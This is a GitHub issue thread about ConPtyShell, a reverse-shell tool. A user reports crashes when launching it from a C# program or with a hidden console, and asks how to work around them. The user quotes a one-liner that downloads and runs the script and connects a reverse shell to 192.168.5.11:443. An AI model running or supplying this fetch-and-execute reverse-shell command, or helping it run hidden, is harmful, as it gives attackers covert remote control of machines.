-
Notifications
You must be signed in to change notification settings - Fork 160
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Powershell script execution via C# Program & with hidden console #2
Comments
I'm aware of a bug when the caller process does not have an associated console and you can't get the console mode. I already have a fix for that and i will publish it in the next release, asap. Could you please share the c# code that raise the AccessViolationException? Thanks for the feedback! |
@Cli3nt which windows version do you have? |
OS Name: Microsoft Windows 10 Home |
If The commands ""IEX(IWR https://github.com/raw/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.5.11 443" get executed via C# Program (Process object, which is executing powershell.exe with arguments), I get an AccessViolationException.
Also, if this script gets ran with hidden console, it doesn't work.
Error: Exception calling "ConPtyShellMain" with "1" argument(s): "Could not get console mode".
Is there a way to alter the script to work around this?
The text was updated successfully, but these errors were encountered: